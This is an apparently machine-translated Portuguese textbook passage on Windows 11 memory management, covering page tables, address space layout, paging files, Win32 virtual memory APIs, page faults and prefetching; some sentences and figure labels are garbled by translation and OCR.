9 bits 9 bits 12 bits 
PPE 
PTE 
; — PDE E 
Page Map Gi Page Directory Page l Page 
Level 4 Pointers Directory Table 


Figura 11-30. Tradução de endereço virtual para físico com um esquema de tabela de páginas 
de 4 níveis implementando 48 bits de endereço virtual. 


(Entrada da tabela de páginas) tem 8 bytes com 512 PTEs por tabela de páginas. Como 
resultado, cada tabela de páginas é indexada por 9 bits do endereço virtual e os 12 bits restantes 
do endereço virtual de 48 bits são o índice de bytes na página de 4 KB. O endereço físico da 
tabela de nível superior está contido em um registro especial do processador, e esse registro é 
atualizado durante as trocas de contexto entre processos. Essa tradução de endereço virtual 
para físico é mostrada na Figura 11.30. O Windows também aproveita o suporte de hardware 
para tamanhos de página maiores (quando disponível), onde uma entrada de diretório de página 
pode mapear uma página grande de 2 MB ou uma entrada pai de diretório de página pode 
mapear uma página enorme de 1 GB. 

Hardware emergente implementa endereços virtuais de 57 bits usando uma tabela de 
páginas de 5 níveis. O Windows 11 oferece suporte a esses processadores e fornece 128 PB de 
espaço de endereço nessas máquinas. Em nossa discussão, geralmente nos limitaremos às 
implementações mais comuns de 48 bits. 

Os layouts de espaço de endereço virtual para dois processos de 64 bits são mostrados na 
Figura 11.31 de forma simplificada. Os 64 KB inferiores e superiores do espaço de endereço 
virtual de cada processo normalmente não são mapeados. Esta escolha foi feita intencionalmente 
para ajudar a detectar erros de programação e mitigar a exploração de certos tipos de 
vulnerabilidades. 

A partir de 64 KB vem o código e os dados privados do usuário. Isso se estende até 128 TB 
e 64 KB. Os 128 TB superiores do espaço de endereço são chamados de espaço de endereço 
do kernel e contêm o sistema operacional, incluindo o código, os dados, os pools pagináveis e 
não pagináveis e diversas outras estruturas de dados do sistema operacional. O espaço de 
endereço do kernel é compartilhado entre todos os processos do usuário, exceto dados por 
processo e por sessão, como tabelas de páginas e pool de sessões. Claro, esta parte do espaço de endereço é 
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Processo A Processo B 
FFFFFFFF'FFFFFFF 
Código do sistema Código do sistema 
operacional e estruturas de dados operacional e estruturas de dados 
Tabelas de páginas de A Tabelas de páginas de B 
Código do sistema Código do sistema 
operacional e estruturas de dados operacional e estruturas de dados 
FFFF8000'00000000 


00007FFF'FFFF0000 


Processo A é privado Processo B é privado 


código e dados código e dados 


00000000'00000000 


Taaa M add 


Os 64 KB inferiores e superiores não têm acesso 


Figura 11-31. Layout de espaço de endereço virtual para três processos de usuário de 64 bits. O 


as áreas brancas são privadas por processo. As áreas sombreadas são compartilhadas entre todos os processos 
esses. 


acessível apenas durante a execução no modo kernel, portanto, qualquer tentativa de acesso no modo de 
usuário resultará em uma violação de acesso. O motivo do compartilhamento virtual do processo 
memória com o kernel é que quando um thread faz uma chamada de sistema, ele entra no modo kernel e 
pode continuar rodando sem alterar o mapa de memória atualizando 
o registro especial do processador. Tudo o que precisa ser feito é mudar para a pilha do kernel do thread. 
Do ponto de vista do desempenho, esta é uma grande vitória e algo 
UNIX também. Como as páginas do modo de usuário do processo ainda estão acessíveis, o 
o código do modo kernel pode ler parâmetros e acessar buffers sem precisar alternar 
para frente e para trás entre espaços de endereço ou mapeamento duplo temporário de páginas em 
ambos. A compensação feita aqui é menos espaço de endereço privado por processo em 
retornar para chamadas de sistema mais rápidas. 

O Windows permite que threads se conectem a outros espaços de endereço enquanto 
rodando no kernel. O anexo a um espaço de endereço permite que o thread acesse 
todo o espaço de endereço do modo de usuário, bem como as partes do endereço do kernel 
espaço específico de um processo, como o automapeamento das tabelas de páginas. Entretanto, os 
threads devem retornar ao seu espaço de endereço original antes de retornar ao seu espaço de endereço original. 
modo de usuário, é claro. 
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Alocação de endereço virtual 


Cada página de endereços virtuais pode estar em um dos três estados: inválido, reservado ou confirmado. 
Uma página inválida não está atualmente mapeada para um objeto de seção de memória e uma referência a 
ela causa uma falha de página que resulta em uma violação de acesso. Depois que o código ou os dados são 
mapeados em uma página virtual, diz-se que a página foi confirmada. Uma página confirmada não tem 
necessariamente uma página física alocada para ela, mas o sistema operacional garantiu que uma página 
física estará disponível quando necessário. Uma falha de página em uma página confirmada resulta no 
mapeamento da página que contém o endereço virtual que causou a falha em uma das páginas representadas 
pelo objeto de seção ou armazenada no arquivo de paginação. Frequentemente, isso exigirá a alocação de 
uma página física e a execução de E/S no arquivo representado pelo objeto de seção para ler os dados do 
disco. Mas as falhas de página também podem ocorrer simplesmente porque a entrada da tabela de páginas 
precisa ser atualizada, já que a página física referenciada ainda está armazenada em cache na memória, caso 
em que a E/S não é necessária. Estas são chamadas de falhas leves. Iremos discuti-los com mais detalhes 
em breve. 


Uma página virtual também pode estar no estado reservado . Uma página virtual reservada é inválida, 
mas tem a propriedade de que esses endereços virtuais nunca serão alocados pelo gerenciador de memória 
para outra finalidade. Por exemplo, quando um novo thread é criado, muitas páginas do espaço de pilha do 
modo de usuário são reservadas no espaço de endereço virtual do processo, mas apenas uma página é 
confirmada. À medida que a pilha cresce, o gerenciador de memória virtual irá automaticamente comprometer 
páginas adicionais nos bastidores, até que a reserva esteja quase esgotada. As páginas reservadas funcionam 
como páginas de proteção para evitar que a pilha cresça muito e substitua outros dados do processo. 


Reservar todas as páginas virtuais significa que a pilha pode eventualmente crescer até seu tamanho máximo 
sem o risco de que algumas das páginas contíguas do espaço de endereço virtual necessário para a pilha 
possam ser doadas para outra finalidade. Além dos atributos inválidos, reservados e confirmados, as páginas 
também possuem outros atributos, como ser legível, gravável e executável. 


Arquivos de paginação 


Uma compensação interessante ocorre com a atribuição do armazenamento de apoio a páginas 
comprometidas que não estão sendo mapeadas para arquivos específicos. Essas páginas usam o arquivo de paginação. 
A questão é como e quando mapear a página virtual para um local específico no arquivo de paginação. Uma 
estratégia simples seria atribuir cada página virtual a uma página em um dos arquivos de paginação no disco 
no momento em que a página virtual foi confirmada. Isso garantiria que sempre houvesse um local conhecido 
para escrever cada página confirmada caso fosse necessário expulsá-la da memória, mas exigiria um arquivo 


de paginação muito maior do que o necessário e não seria capaz de suportar arquivos de paginação pequenos. 


O Windows usa uma estratégia just-in-time . As páginas confirmadas que são apoiadas pelo arquivo de 
paginação não recebem espaço no arquivo de paginação até o momento em que precisam ser paginadas. O 
gerenciador de memória mantém um limite de commit em todo o sistema que é 
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a soma do tamanho da RAM e o tamanho total de todos os arquivos de paginação. À medida que a memória virtual não 
paginada ou com suporte de arquivo de paginação é confirmada, a cobrança de confirmação em todo o sistema aumenta 
até atingir o limite de confirmação, ponto em que as solicitações de confirmação começam a falhar. Esse 

o rastreamento rigoroso de commits garante que o espaço do arquivo de paginação estará disponível quando uma 

página commitada precisar ser paginada. Nenhum espaço em disco é alocado para páginas que nunca são 

paginado. Se a memória virtual total for menor que a memória física disponível, um 

pagefile não é necessário. Isto é conveniente para sistemas embarcados baseados em 

Janelas. É também a forma como o sistema é inicializado, já que os arquivos de paginação não são inicializados 

até que o primeiro processo no modo de usuário, smss.exe, comece a ser executado. 

Com a paginação por demanda, as solicitações para ler páginas do disco precisam ser iniciadas 
imediatamente, pois o tópico que encontrou a página ausente não pode continuar até 
esta operação de page-in é concluída. As possíveis otimizações para páginas com falha 
na memória envolvem a tentativa de pré-paginar páginas adicionais na mesma operação de E/S, chamada clustering 
de falha de página. No entanto, operações que escrevem páginas modificadas 
para o disco normalmente não são síncronos com a execução de threads. A estratégia just-in time para alocar espaço 
no arquivo de paginação aproveita isso para aumentar o desempenho da gravação de páginas modificadas no arquivo 
de paginação. As páginas modificadas são agrupadas 
juntos e escritos em grandes pedaços. Desde a alocação de espaço no arquivo de paginação 
não acontece até que as páginas estejam sendo escritas, o número de buscas necessárias para 
escrever um lote de páginas pode ser otimizado alocando as páginas do arquivo de paginação para ficarem próximas 
entre si, ou mesmo torná-los contíguos. 

Embora agrupar páginas modificadas em pedaços maiores antes de gravar no arquivo de paginação seja 
benéfico para a eficiência de gravação em disco, não ajuda necessariamente a tornar as operações na página mais 
fáceis. Na verdade, se páginas de processos diferentes ou páginas virtuais descontíguas 
endereços são combinados, torna-se impossível agrupar leituras de arquivos de paginação 
durante operações in-page, uma vez que os endereços virtuais subsequentes pertencentes ao processo de falha podem 
ser espalhados pelo arquivo de paginação. Para otimizar a leitura do arquivo de paginação 
eficiência para grupos de páginas virtuais que devem ser usadas juntas, o Windows suporta o conceito de reservas de 
arquivos de paginação. Intervalos de arquivo de paginação podem ser 
reservada de forma flexível para páginas de memória virtual de processo, de modo que, quando essas páginas forem 
prestes a serem gravados no arquivo de paginação, eles serão gravados em seus locais reservados. Embora isso possa 
tornar a gravação do arquivo de paginação menos eficiente em comparação a não ter 
tais reservas, as operações subsequentes de page-in ocorrem muito mais rapidamente devido a 
cluster aprimorado e leituras sequenciais de disco. Como as operações in-page diretamente 
bloquear o progresso do aplicativo, eles geralmente são mais importantes para o desempenho do sistema do que a 
eficiência de gravação do arquivo de paginação. Estas são reservas suaves, portanto, se o arquivo de paginação estiver 
cheio e nenhum outro espaço estiver disponível, o gerenciador de memória irá sobrescrever 
espaço reservado desocupado. 

Quando as páginas armazenadas no arquivo de paginação são lidas na memória, elas mantêm sua alocação no 
arquivo de paginação até a primeira vez que são modificadas. Se uma página nunca for modificada, ela irá para uma 
lista de páginas físicas armazenadas em cache, chamada lista de espera, onde será exibida. 
pode ser reutilizado sem precisar ser gravado de volta no disco. Se for modificado, o gerenciador de memória liberará 


espaço no arquivo de paginação e a única cópia da página ficará no 
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memória. O gerenciador de memória implementa isso marcando a página como somente leitura após 
ser carregada. Na primeira vez que um thread tentar gravar a página, o gerenciador de memória 
detectará essa situação e liberará a página do arquivo de paginação, concederá acesso de gravação à 
página e fará com que o thread tente novamente. 

O Windows suporta até 16 arquivos de paginação, normalmente distribuídos em discos separados 
para obter maior largura de banda de E/S. Cada um tem um tamanho inicial e um tamanho máximo que 
pode ser aumentado posteriormente, se necessário, mas é melhor criar esses arquivos com o tamanho 
máximo no momento da instalação do sistema. Se for necessário aumentar um arquivo de paginação 
quando o sistema de arquivos estiver muito mais cheio, é provável que o novo espaço no arquivo de 
paginação seja altamente fragmentado, reduzindo o desempenho. 

O sistema operacional rastreia quais páginas virtuais são mapeadas para qual parte de qual arquivo 
de paginação, gravando essas informações nas entradas da tabela de páginas do processo para 
páginas privadas ou nas entradas da tabela de páginas protótipo associadas ao objeto de seção para 
páginas compartilhadas. Além das páginas apoiadas pelo arquivo de paginação, muitas páginas em um 
processo são mapeadas para arquivos regulares no sistema de arquivos. 

O código executável e os dados somente leitura em um arquivo de programa (por exemplo, um 
EXE ou DLL) podem ser mapeados no espaço de endereço de qualquer processo que o esteja 
utilizando. Como essas páginas não podem ser modificadas, elas nunca precisam ser paginadas e 
acabam na lista de espera como páginas em cache quando não estão mais em uso e podem ser 
reutilizadas imediatamente. Quando a página for necessária novamente no futuro, o gerenciador de 
memória lerá a página do arquivo do programa. 

Às vezes, páginas que começam como somente leitura acabam sendo modificadas, por exemplo, 
definindo um ponto de interrupção no código ao depurar um processo, ou corrigindo o código para 
realocá-lo em endereços diferentes dentro de um processo, ou fazendo modificações em páginas de 
dados que começou compartilhado. Em casos como esses, o Windows, como a maioria dos sistemas 
operacionais modernos, oferece suporte a um tipo de página cnamada cópia na gravação. Essas 
páginas começam como páginas mapeadas comuns, mas quando é feita uma tentativa de modificar 
qualquer parte da página, o gerenciador de memória faz uma cópia privada e gravável. Em seguida, ele 
atualiza a tabela de páginas da página virtual para que aponte para a cópia privada e faça com que o 
thread tente gravar novamente — o que terá sucesso na segunda vez. Se essa cópia precisar ser 
paginada posteriormente, ela será gravada no arquivo de paginação em vez do arquivo original. Além 
de 

mapear o código do programa e os dados dos arquivos EXE e DLL, os arquivos comuns podem ser 
mapeados na memória, permitindo que os programas façam referência aos dados dos arquivos. sem 
fazer operações de leitura e gravação. As operações de E/S ainda são necessárias, mas são fornecidas 
implicitamente pelo gerenciador de memória usando o objeto de seção para representar o mapeamento 
entre as páginas na memória e os blocos nos arquivos no disco. 

Os objetos de seção não precisam se referir a um arquivo. Eles podem se referir a regiões 
anônimas de memória, cnamadas seções apoiadas por arquivo de paginação. Ao mapear objetos de 
seção baseados em arquivo de paginação em vários processos, a memória pode ser compartilhada 
sem a necessidade de alocar um arquivo no disco. Como as seções podem receber nomes no 
namespace do NT, os processos podem se reunir abrindo seções por nome, bem como duplicando e 
passando identificadores entre processos. 
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11.5.2 Chamadas do sistema de gerenciamento de memória 


A API Win32 contém diversas funções que permitem que um processo gerencie 
sua memória virtual explicitamente. As mais importantes dessas funções estão listadas em 
Figura 11-32. Todos eles operam em uma região que consiste em uma única página ou em um 
sequência de duas ou mais páginas consecutivas no espaço de endereço virtual. De 
É claro que os processos não precisam gerenciar sua memória; a paginação acontece automaticamente, 
mas essas chamadas dão aos processos poder e flexibilidade adicionais. A maioria dos aplicativos usa 
APIs de heap de nível superior para alocar e liberar memória dinâmica. Pilha 
implementações baseadas nessas chamadas de gerenciamento de memória de nível inferior para 
gerenciar blocos menores de memória. 


Função API Win32 Descrição 

VirtualAlloc Reserve ou comprometa uma região 

Virtual Grátis Liberar ou cancelar a confirmação de uma região 

VirtualProtect Alterar a proteção de leitura/gravação/execução em uma região 

Consulta Virtual Informe-se sobre o status de uma região 

VirtualLock Tornar uma região residente na memória (ou seja, desabilitar a paginação para ela) 
VirtualUniock Tornar uma região paginável da maneira usual 

CreateFileMapping Crie um objeto de mapeamento de arquivo e (opcionalmente) atribua um nome a ele 
MapViewoOfFile Mapeie (parte de) um arquivo no espaço de endereço 

UnmapViewoOfFile Remover um arquivo mapeado do espaço de endereço 

OpenFileMapping Abra um objeto de mapeamento de arquivo criado anteriormente 


Figura 11-32. As principais funções da API Win32 para gerenciamento de memória virtual 
no Windows. 


As primeiras quatro funções da API são usadas para alocar, liberar, proteger e consultar 
regiões do espaço de endereço virtual. As regiões alocadas sempre começam nos limites de 64 KB para 
minimizar problemas de portabilidade para arquiteturas futuras com páginas maiores que 
atuais, bem como reduzir a fragmentação do espaço de endereço virtual. O real 
quantidade de espaço de endereço alocado pode ser inferior a 64 KB, mas deve ser um múltiplo 
do tamanho da página. As próximas duas APIs dão a um processo a capacidade de conectar páginas em 
memória para que não sejam paginados e para desfazer esta propriedade. Um programa em tempo real 
pode precisar de páginas com esta propriedade para evitar falhas de página no disco durante operações 
críticas, por exemplo. Um limite é imposto pelo sistema operacional para evitar 
processos fiquem muito gananciosos. Na verdade, as páginas podem ser removidas da memória, mas 
somente se todo o processo for trocado. Quando é trazido de volta, todos os 
as páginas bloqueadas são recarregadas antes que qualquer thread possa começar a ser executado novamente. Embora não seja 
mostrado na Figura 11.32, o Windows também possui funções de API nativas para permitir que um processo 
ler/gravar a memória virtual de um processo diferente sobre o qual foi fornecido 
controle, isto é, para o qual possui uma alça (ver Fig. 11-7). 


Machine Translated by Google 


962 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


As últimas quatro funções da API listadas são para gerenciar seções (ou seja, seções suportadas 
por arquivo ou por arquivo de paginação). Para mapear um arquivo, um objeto de mapeamento de 
arquivo deve primeiro ser criado com CreateFileMapping (veja a Figura 11.8). Esta função retorna um 
identificador para o objeto de mapeamento de arquivo (ou seja, um objeto de seção) e, opcionalmente, 
insere um nome para ele no namespace Win32 para que outros processos também possam usá-lo. As 
próximas duas funções mapeiam e desmapeiam visualizações em objetos de seção do espaço de 
endereço virtual de um processo. A última API pode ser usada por um processo para mapear e 
compartilhar um mapeamento que outro processo criou com CreateFileMapping, geralmente um criado 
para mapear memória anônima. Dessa forma, dois ou mais processos podem compartilhar regiões de 
seus espaços de endereçamento. Esta técnica permite que eles escrevam em regiões limitadas da 
memória virtual um do outro. 


11.5.3 Implementação de Gerenciamento de Memória 


O Windows oferece suporte a um único espaço de endereço paginado por demanda linear de 256 
TB por processo. A segmentação não é suportada de nenhuma forma. Conforme observado 
anteriormente, o tamanho da página é de 4 KB em todas as arquiteturas de processador suportadas 
pelo Windows atualmente. Além disso, o gerenciador de memória pode usar páginas grandes de 2 MB 
ou até páginas enormes de 1 GB para melhorar a eficácia do TLB (Translation Lookaside Buffer) na 
unidade de gerenciamento de memória do processador. O uso de páginas grandes e enormes pelo 
kernel e por aplicativos grandes melhora significativamente o desempenho, melhorando a taxa de 
acertos do TLB, além de permitir uma caminhada na tabela de páginas de hardware mais rasa e, 
portanto, mais rápida quando ocorre uma falha no TLB. Páginas grandes e enormes são simplesmente 
compostas de execuções contíguas e alinhadas de páginas de 4 KB. Dessa forma, essas páginas são 
consideradas não pagináveis, uma vez que paginá-las e reutilizá-las para páginas únicas tornaria 
muito difícil, se não impossível, para o gerenciador de memória construir uma página grande ou enorme 
quando o aplicativo a acessasse novamente. 

Ao contrário do escalonador, que seleciona threads individuais para execução e não se preocupa 
muito com os processos, o gerenciador de memória lida inteiramente com processos e não se preocupa 
muito com threads. Afinal, os processos, e não os threads, possuem o espaço de endereço e é com 
isso que o gerenciador de memória está preocupado. Quando uma região do espaço de endereço 
virtual é alocada, como quatro delas foram para o processo A na Figura 11.33, o gerenciador de 
memória cria um VAD (Virtual Address Descriptor) para ela, listando o intervalo de endereços 
mapeados, a seção representando o arquivo de armazenamento de apoio e o deslocamento onde ele 
está mapeado e as permissões. Quando a primeira página é tocada, a hierarquia necessária da tabela 
de páginas é criada e as entradas correspondentes da tabela de páginas são preenchidas à medida 
que as páginas físicas são alocadas para apoiar o VAD. Um espaço de endereço é completamente 
definido pela lista de seus VADs. Os VADs são organizados em uma árvore balanceada, para que o 
descritor de um determinado endereço possa ser encontrado de forma eficiente. Este esquema oferece 
suporte a espaços de endereço esparsos. As áreas não utilizadas entre as regiões mapeadas não 
usam memória ou disco, portanto são essencialmente livres. 
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Fazendo backup do armazenamento em disco 


Processo A Processo B 


Região [ 


Programa 
Programa 


Progi.exe Prog2.exe 


Figura 11-33. Regiões mapeadas com suas páginas sombra no disco. O arquivo lib.dll 
é mapeado em dois espaços de endereço ao mesmo tempo. 


Tratamento de falhas de página 


O Windows é um sistema operacional paginado por demanda, o que significa que as páginas físicas 
geralmente não são alocados e mapeados em um espaço de endereço de processo até que sejam 
realmente acessado por algum processo (embora também haja pré-paginação em segundo plano por motivos de 
desempenho), a paginação por demanda no gerenciador de memória é 
impulsionado por falhas de página. Em cada falha de página, ocorre uma armadilha para o kernel e a CPU 
entra no modo kernel. O kernel então constrói um descritor independente da máquina contando o que aconteceu e 
passa isso para a parte executiva do gerenciador de memória. 
O gerenciador de memória então verifica a validade do acesso. Se a página com falha cair 
dentro de uma região comprometida e o acesso for permitido, ele procura o endereço no 
árvore VAD e localiza (ou cria) a entrada da tabela da página do processo. 
Geralmente, a memória paginável se enquadra em uma de duas categorias: páginas privadas e 
páginas compartilháveis. As páginas privadas só têm significado dentro do processo de propriedade; eles 
não são compartilháveis com outros processos. Como tal, estas páginas tornam-se páginas gratuitas 
quando o processo termina. Por exemplo, as chamadas VirtualAlloc alocam memória privada para o processo. Páginas 
compartilháveis representam memória que pode ser compartilhada com 
outros processos. Arquivos mapeados e seções suportadas por arquivos de paginação se enquadram nesta categoria. 
Como essas páginas têm relevância fora do processo, elas são armazenadas em cache na memória (nas listas de 
espera ou modificadas) mesmo após o término do processo, porque 
algum outro processo pode precisar deles. Cada falha de página pode ser considerada como sendo 


em uma das cinco categorias: 
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1. A página referenciada não foi confirmada. 

2. O acesso a uma página foi tentado violando as permissões. 

3. Uma página compartilhada de cópia na gravação estava prestes a ser modificada. 
4. A pilha precisa crescer. 


5. A página referenciada foi confirmada, mas não está mapeada no momento. 


O primeiro e o segundo casos são devidos a erros de programação. Se um programa tentar usar um 
endereço que não deveria ter um mapeamento válido, ou tentar uma operação inválida (como tentar escrever 
uma página somente leitura), isso será chamado de violação de acesso e fará com que o gerenciador de 
memória levantar uma exceção, 
que, se não for tratado, resulta no encerramento do processo. As violações de acesso são 
muitas vezes o resultado de ponteiros incorretos, incluindo acesso à memória que foi liberada e 
não mapeado do processo. 

O terceiro caso apresenta os mesmos sintomas do segundo (uma tentativa de escrever 
para uma página somente leitura), mas o tratamento é diferente. Porque a página foi 
marcado como copy-on-write, o gerenciador de memória não relata uma violação de acesso, 
mas em vez disso faz uma cópia privada da página para o processo atual e depois 
retorna o controle para o thread que tentou gravar a página. O tópico tentará novamente 
a gravação, que agora será concluída sem causar falha. 

O quarto caso ocorre quando uma thread coloca um valor em sua pilha e cruza 
em uma página que ainda não foi alocada. O gerenciador de memória está programado para reconhecer isso 
como um caso especial. Enquanto ainda houver espaço no 
páginas virtuais reservadas para a pilha, o gerenciador de memória fornecerá uma nova página física, zerá-la 
e mapeá-la-á no processo. Quando o thread retoma a execução, ele 
tentará novamente o acesso e terá sucesso desta vez. 

Finalmente, o quinto caso é uma falha de página normal. No entanto, possui vários subcasos. 

Se a página for mapeada por um arquivo, o gerenciador de memória deverá pesquisar suas estruturas de 
dados, como a tabela de página protótipo associada ao objeto de seção para ter certeza 

que ainda não existe uma cópia na memória. Se houver, digamos em outro processo ou em 

nas listas de páginas em espera ou modificadas, ele apenas as compartilhará - talvez marcando-as como 
cópia na gravação se as alterações não forem compartilhadas. Se ainda não houver uma cópia, o 

O gerenciador de memória alocará uma página física livre e providenciará para que a página do arquivo seja 
ser copiada do disco, a menos que outra página já esteja em transição do disco, em 

nesse caso, é necessário apenas aguardar a conclusão da transição. 

Quando o gerenciador de memória pode satisfazer uma falha de página encontrando a página necessária 

na memória, em vez de lê-la no disco, a falha é classificada como uma falha leve. 

Se a cópia do disco for necessária, é uma falha grave. Falhas suaves são muito mais baratas 

e têm pouco impacto no desempenho do aplicativo em comparação com falhas graves. Macio 

falhas podem ocorrer porque uma página compartilhada já foi mapeada em outro processo, ou a página 
necessária foi cortada do conjunto de trabalho do processo, mas está sendo 

solicitado novamente antes de ter a chance de ser reutilizado. Uma subcategoria comum 
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das falhas suaves são falhas de demanda zero . Isso indica que uma página zerada deve ser alocada 
e mapeada, por exemplo, quando ocorre o primeiro acesso a um endereço VirtualAlloc'd. Ao cortar 
páginas privadas de conjuntos de trabalho de processo, o Windows verifica se a página é totalmente 
zero. Nesse caso, em vez de colocar a página na lista modificada e gravá-la no arquivo de paginação, 
o gerenciador de memória libera a página e codifica o PTE para indicar uma falha de demanda zero 
no próximo acesso. Falhas leves também podem ocorrer porque as páginas foram compactadas para 
aumentar efetivamente o tamanho da memória física. Para a maioria das configurações de CPU, 
memória e E/S nos sistemas atuais, é mais eficiente usar compactação em vez de incorrer nas 
despesas de E/S (desempenho e energia) necessárias para ler uma página do disco. Abordaremos a 
compactação de memória com mais detalhes posteriormente nesta seção. 


Quando uma página física não é mais mapeada pela tabela de páginas em nenhum processo, 
ela vai para uma das três listas: livre, modificada ou em espera. Páginas que nunca mais serão 
necessárias, como páginas empilhadas de um processo de encerramento, são liberadas imediatamente. 
As páginas que podem estar com falha novamente vão para a lista modificada ou para a lista de 
espera, dependendo se o bit sujo foi definido ou não para qualquer uma das entradas da tabela de 
páginas que mapearam a página desde a última leitura do disco. As páginas da lista modificada serão 
eventualmente gravadas no disco e depois movidas para a lista de espera. 

Como as falhas leves são muito mais rápidas de serem satisfeitas do que as falhas graves, uma 
grande oportunidade de melhoria de desempenho é pré- páginar ou pré-buscar na lista de espera 
dados que deverão ser usados em breve. O Windows faz uso intenso da pré-busca de várias maneiras: 


1. Clustering de falhas de página: Ao satisfazer falhas de página graves de arquivos ou 
do arquivo de paginação, o gerenciador de memória lê páginas adicionais, até um 
total de 64 KB, desde que a próxima página no arquivo corresponda à próxima página 
virtual. Esse é quase sempre o caso de arquivos regulares, portanto, mecanismos 
como as reservas de arquivos de paginação que descrevemos anteriormente na 
seção ajudam na eficiência do cluster para arquivos de paginação. 


2. Pré-busca de inicialização de aplicativos: as inicializações de aplicativos geralmente 
são muito consistentes de inicialização a inicialização: o mesmo aplicativo e páginas 
DLL são acessados. O Windows tira vantagem desse comportamento rastreando o 
conjunto de páginas de arquivo acessadas durante a inicialização de um aplicativo, 
persistindo esse histórico no disco, identificando as páginas que são realmente 
acessadas de forma consistente e pré-buscando-as durante a próxima inicialização, 
potencialmente segundos antes de o aplicativo realmente precisar delas. Quando as 
páginas para pré-busca já residem na memória, nenhuma E/S de disco é emitida, mas 
quando não o são, a pré-busca de inicialização do aplicativo rotineiramente emite 
centenas de solicitações de E/S para o disco, o que melhora significativamente a 
eficiência de leitura do disco tanto em rotação quanto em sólido discos de estado. 


3. Conjunto de trabalho in-swap: O conjunto de trabalho de um processo no Windows é 
composto pelo conjunto de endereços virtuais em modo de usuário que são mapeados 
por PTEs válidos, ou seja, endereços que podem ser acessados sem uma página 
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falta. Normalmente, quando o gerenciador de memória detecta pressão de memória, 
ele corta páginas de conjuntos de trabalho de processo para gerar mais 

memoria disponivel. O modelo de aplicação UWP oferece uma oportunidade para uma 
abordagem mais otimizada devido ao seu gerenciamento vitalício. 

Os aplicativos UWP são suspensos por meio de seus objetos de trabalho quando são 
não estão mais visíveis e são retomados quando o usuário volta para eles. 

Isso reduz o consumo de CPU e o uso de energia. 


4. Troca de cenário de trabalho. Trabalhar a troca de set out envolve reservar 
de preferência espaço sequencial no arquivo de paginação para cada página do conjunto 
de trabalho do processo e lembrando o conjunto de páginas que estão no 
Conjunto de trabalho. Para aumentar as chances de encontrar resultados sequenciais 
espaço, o Windows realmente cria e usa um arquivo de paginação separado chamado 
swapfile.sys exclusivamente para trabalho de troca de conjunto. Quando sob pressão de 
memória, todo o conjunto de trabalho do aplicativo UWP é esvaziado de uma só vez e 
como cada página é reservada para espaço sequencial no 
swapfile, as páginas removidas do conjunto de trabalho podem ser gravadas muito 
eficientemente com E/S grandes e sequenciais. Quando o aplicativo UWP é 
prestes a ser retomado, o gerenciador de memória executa um conjunto de trabalho na 
operação de troca, onde ele pré-busca as páginas trocadas do 
swapfile, usando leituras grandes e sequenciais, diretamente no conjunto de trabalho. 
Além de maximizar a largura de banda de leitura do disco, isso também evita qualquer 
falhas suaves subsequentes porque o conjunto de trabalho é totalmente restaurado ao seu 
estado antes da suspensão. 


5. Superfetch: Os sistemas de desktop atuais geralmente têm 8, 16, 32, 64 ou 
ainda mais GBs de memória instalados, e essa memória é em grande parte 
vazio após a inicialização do sistema. Da mesma forma, o conteúdo da memória pode 
sofrer interrupções significativas, por exemplo, quando o usuário executa um grande 
jogo, que envia todo o resto para o disco e depois sai do 
jogo. Ter GBs de memória vazia é uma oportunidade perdida porque o 
será necessário iniciar o próximo aplicativo ou mudar para uma guia antiga do navegador 
para paginar muitos dados do disco. Não seria melhor se houvesse uma 
mecanismo para preencher páginas de memória vazias com dados úteis no 
plano de fundo e armazená-los em cache na lista de espera? É isso que o Superfetch faz. 
É um serviço de modo de usuário para gerenciamento proativo de memória. Ele rastreia 
páginas de arquivos usadas com frequência e as pré-busca em 
lista de espera quando houver memória livre disponível. Superfetch também rastreia 
pagina páginas privadas de aplicativos importantes e traz esses 
na memória também. Ao contrário das formas anteriores de pré-busca, 
que são just-in-time, o Superfetch emprega pré-busca em segundo plano, 
usando solicitações de E/S de baixa prioridade para evitar a criação de contenção de 
disco com leituras de disco de maior prioridade. 
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O formato das entradas da tabela de páginas difere dependendo da arquitetura do processador. 
Para a arquitetura x64, as entradas para uma página mapeada são mostradas na Figura 11.34. Se uma 
entrada for marcada como válida, seu conteúdo será interpretado pelo hardware para que o endereço 
virtual possa ser traduzido na página física correta. As páginas não mapeadas também possuem 
entradas, mas são marcadas como inválidas e o hardware ignora o restante da entrada. O formato do 
software é um pouco diferente do formato do hardware e é determinado pelo gerenciador de memória. 
Por exemplo, para uma página não mapeada que deve ser alocada e zerada antes de poder ser usada, 
esse fato é anotado na entrada da tabela de páginas. 


63 62 5251 12119 87654392 10 
N , P P| P 
x| œL Números avL |G|A|D|A|cIc R/| P 
da página física T DlTIslc 
NX — Sem execução PCD — Desativar cache de página 
AVL — disponível para o sistema operacional PWT — Gravação de página 


EUA — Usuário/Supervisor 
RAW — Acesso de leitura/gravação 


G - página global 
PAT — Tabela de atributos de página 
D - Sujo (modificado) P - Presente (válido) 


A - Acessado (referenciado) 


Figura 11-34. Uma entrada de tabela de páginas (PTE) para uma página mapeada nas 
arquiteturas Intel x86 e AMD x64. 


Dois bits importantes na entrada da tabela de páginas são atualizados diretamente pelo hardware. 
Estes são os bits de acesso (A) e sujos (D). Esses bits rastreiam quando um mapeamento de página 
específico foi usado para acessar a página e se esse acesso poderia ter modificado a página ao escrevê- 
la. Isso realmente ajuda o desempenho do sistema porque o gerenciador de memória pode usar o bit de 
acesso para implementar o estilo de paginação LRU (Least-Recently Used) . O princípio LRU diz que 
as páginas que não são usadas há mais tempo têm menos probabilidade de serem usadas novamente 
em breve. O bit de acesso permite ao gerenciador de memória determinar se uma página foi acessada. 


O bit sujo permite ao gerenciador de memória saber que uma página pode ter sido modificada ou, mais 
significativamente, que uma página não foi modificada. Se uma página não tiver sido modificada desde 
que foi lida no disco, o gerenciador de memória não precisará gravar o conteúdo da página no disco 
antes de usá-la para outra coisa. 
As entradas da tabela de páginas na Figura 11.34 referem-se a números de páginas físicas, não a 
números de páginas virtuais. Para atualizar entradas na hierarquia da tabela de páginas, o kernel precisa 
usar endereços virtuais. O Windows mapeia a hierarquia da tabela de páginas do processo atual no 
espaço de endereço virtual do kernel usando uma técnica inteligente de automapeamento, como 
mostrado na Figura 11.35. Ao fazer uma entrada (a entrada PXE de automapeamento) na tabela de 
páginas de nível superior apontar para a tabela de páginas de nível superior, o gerenciador de memória do Windows cria 
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endereços que podem ser usados para fazer referência a toda a hierarquia da tabela de páginas. A Figura 
11.35 mostra dois exemplos de traduções de endereços virtuais (a) para a entrada de automapa e (b) para 
uma entrada de tabela de páginas. O automapeamento ocupa os mesmos 512 GB de espaço de endereço 
virtual do kernel para cada processo porque uma entrada PXE de nível superior mapeia 512 GB. 


